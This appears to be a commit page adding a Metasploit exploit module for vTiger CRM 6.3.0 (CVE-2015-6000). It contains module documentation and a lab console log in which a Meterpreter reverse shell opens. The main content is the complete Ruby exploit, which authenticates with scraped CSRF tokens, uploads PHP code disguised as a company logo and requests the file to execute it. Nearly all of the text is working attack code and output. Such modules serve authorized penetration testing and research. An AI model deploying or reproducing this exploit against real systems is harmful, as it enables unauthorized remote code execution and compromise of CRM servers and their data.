Land #10060, vTiger CRM v6.3.0 Upload RCE
parent
ea2a9081a6
commit
7e180a390c
|
@ -0,0 +1,54 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
Vtiger v6.3.0 CRM's administration interface allows for the upload of a company logo.
|
||||||
|
The logo upload allows unrestricted file upload and can be used to upload php code,
|
||||||
|
which can then be executed by requesting the uploaded file location.
|
||||||
|
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
[Vtiger v6.3.0](https://sourceforge.net/projects/vtigercrm/files/vtiger%20CRM%206.3.0/Core%20Product/)
|
||||||
|
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**PHPSHORTTAG**
|
||||||
|
Specify the use of php short tag, `<? `, for wrapping the payload.
|
||||||
|
Default: true
|
||||||
|
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. `./msfconsole -q`
|
||||||
|
2. `use exploit/multi/http/vtiger_logo_upload_exec`
|
||||||
|
3. `set rhosts <rhost>`
|
||||||
|
4. `set password <password>`
|
||||||
|
5. `run`
|
||||||
|
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### VtigerCRM v6.3.0 tested on Windows 10 x64 (Apache 2.2.26 / PHP 5.3.10)
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > use exploit/multi/http/vtiger_logo_upload_exec
|
||||||
|
msf5 exploit(multi/http/vtiger_logo_upload_exec) > set rhosts 172.22.222.175
|
||||||
|
rhosts => 172.22.222.175
|
||||||
|
msf5 exploit(multi/http/vtiger_logo_upload_exec) > set rport 8899
|
||||||
|
rport => 8899
|
||||||
|
msf5 exploit(multi/http/vtiger_logo_upload_exec) > set password admin
|
||||||
|
password => admin
|
||||||
|
msf5 exploit(multi/http/vtiger_logo_upload_exec) > run
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 172.22.222.121:4444
|
||||||
|
[*] Uploading payload: KpXAXQNKjN.php
|
||||||
|
[*] Sending stage (37775 bytes) to 172.22.222.175
|
||||||
|
[*] Meterpreter session 1 opened (172.22.222.121:4444 -> 172.22.222.175:50295) at 2018-07-30 11:53:50 -0500
|
||||||
|
[+] Deleted KpXAXQNKjN.php
|
||||||
|
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : MSEDGEWIN10
|
||||||
|
OS : Windows NT MSEDGEWIN10 6.2 build 9200 (Unknow Windows version Enterprise Edition) i586
|
||||||
|
Meterpreter : php/windows
|
||||||
|
meterpreter >
|
||||||
|
```
|
|
@ -0,0 +1,200 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Vtiger CRM - Authenticated Logo Upload RCE',
|
||||||
|
'Description' => %q{
|
||||||
|
Vtiger 6.3.0 CRM's administration interface allows for the upload of a company logo.
|
||||||
|
Instead of uploading an image, an attacker may choose to upload a file containing PHP code and
|
||||||
|
run this code by accessing the resulting PHP file.
|
||||||
|
|
||||||
|
This module was tested against vTiger CRM v6.3.0.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Benjamin Daniel Mussler', # Discoverys
|
||||||
|
'Touhid M.Shaikh <touhidshaikh22@gmail.com>', # Metasploit Module
|
||||||
|
'SecureLayer7.net' # Metasploit Module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2015-6000'],
|
||||||
|
['CVE','2016-1713'],
|
||||||
|
['EDB', '38345']
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'Encoder' => 'php/base64',
|
||||||
|
'RPORT' => 8888
|
||||||
|
},
|
||||||
|
'Privileged' => false,
|
||||||
|
'Platform' => ['php'],
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['vTiger CRM v6.3.0', {}],
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Sep 28 2015'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [ true, 'Base vTiger CRM directory path', '/']),
|
||||||
|
OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
|
||||||
|
OptString.new('PASSWORD', [ true, 'Password to authenticate with', ''])
|
||||||
|
])
|
||||||
|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptBool.new('PHPSHORTTAG', [true, 'Use short open php tags around payload', true])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php') })
|
||||||
|
|
||||||
|
unless res
|
||||||
|
vprint_error("Unable to access the index.php file")
|
||||||
|
return CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
unless res.code == 200
|
||||||
|
vprint_error("Error accessing the index.php file")
|
||||||
|
return CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.body =~ /<small> Powered by vtiger CRM (.*.0)<\/small>/i
|
||||||
|
vprint_status("vTiger CRM version: #{$1}")
|
||||||
|
if $1 == '6.3.0'
|
||||||
|
return CheckCode::Vulnerable
|
||||||
|
else
|
||||||
|
return CheckCode::Detected
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
# Login Function.
|
||||||
|
def login
|
||||||
|
# Dummy Request for grabbing CSRF token and PHPSESSION ID
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||||
|
'vhost' => "#{rhost}",
|
||||||
|
})
|
||||||
|
|
||||||
|
# Grabbing CSRF token from body
|
||||||
|
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
|
||||||
|
vprint_good("CSRF Token for login: #{csrf}")
|
||||||
|
|
||||||
|
# Get Login now.
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||||
|
'vars_get' => {
|
||||||
|
'module' => 'Users',
|
||||||
|
'action' => 'Login',
|
||||||
|
},
|
||||||
|
'vars_post' => {
|
||||||
|
'__vtrftk' => csrf,
|
||||||
|
'username' => datastore['USERNAME'],
|
||||||
|
'password' => datastore['PASSWORD']
|
||||||
|
},
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request")
|
||||||
|
end
|
||||||
|
|
||||||
|
cookie = nil
|
||||||
|
if res.code == 302 && res.headers['Location'].include?("index.php?module=Users&parent=Settings&view=SystemSetup")
|
||||||
|
vprint_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
|
||||||
|
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
|
||||||
|
cookie = res.get_cookies.split[-1]
|
||||||
|
end
|
||||||
|
|
||||||
|
unless cookie
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
|
||||||
|
end
|
||||||
|
|
||||||
|
cookie
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
cookie = login
|
||||||
|
unless cookie
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
pay_name = rand_text_alpha(rand(5..10)) + ".php"
|
||||||
|
|
||||||
|
# Retrieve CSRF token
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||||
|
'vhost' => "#{rhost}",
|
||||||
|
'cookie' => cookie
|
||||||
|
})
|
||||||
|
|
||||||
|
# Grabbing CSRF token from body
|
||||||
|
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
|
||||||
|
vprint_good("CSRF Token for Form Upload: #{csrf}")
|
||||||
|
|
||||||
|
stager = datastore['PHPSHORTTAG'] ? '<? ' : '<?php '
|
||||||
|
stager << payload.encoded
|
||||||
|
stager << ' ?>'
|
||||||
|
|
||||||
|
# Setting Company Form data
|
||||||
|
post_data = Rex::MIME::Message.new
|
||||||
|
post_data.add_part(csrf, nil, nil, "form-data; name=\"__vtrftk\"") # CSRF token
|
||||||
|
post_data.add_part('Vtiger', nil, nil, "form-data; name=\"module\"")
|
||||||
|
post_data.add_part('Settings', nil, nil, "form-data; name=\"parent\"")
|
||||||
|
post_data.add_part('CompanyDetailsSave', nil, nil, "form-data; name=\"action\"")
|
||||||
|
post_data.add_part(stager, "image/jpeg", nil, "form-data; name=\"logo\"; filename=\"#{pay_name}\"")
|
||||||
|
post_data.add_part('vtiger', nil, nil, "form-data; name=\"organizationname\"")
|
||||||
|
data = post_data.to_s
|
||||||
|
|
||||||
|
print_status("Uploading payload: #{pay_name}")
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||||
|
'vhost' => "#{rhost}",
|
||||||
|
'cookie' => cookie,
|
||||||
|
'connection' => 'close',
|
||||||
|
'headers' => {
|
||||||
|
'Referer' => "http://#{peer}/index.php?parent=Settings&module=Vtiger&view=CompanyDetails",
|
||||||
|
'Upgrade-Insecure-Requests' => '1',
|
||||||
|
},
|
||||||
|
'data' => data,
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res && res.code == 302
|
||||||
|
fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Cleanup file
|
||||||
|
register_files_for_cleanup(pay_name)
|
||||||
|
|
||||||
|
vprint_status("Executing Payload: #{peer}/test/logo/#{pay_name}" )
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, "test", "logo", pay_name)
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.code != 200
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{peer} - Payload not executed")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue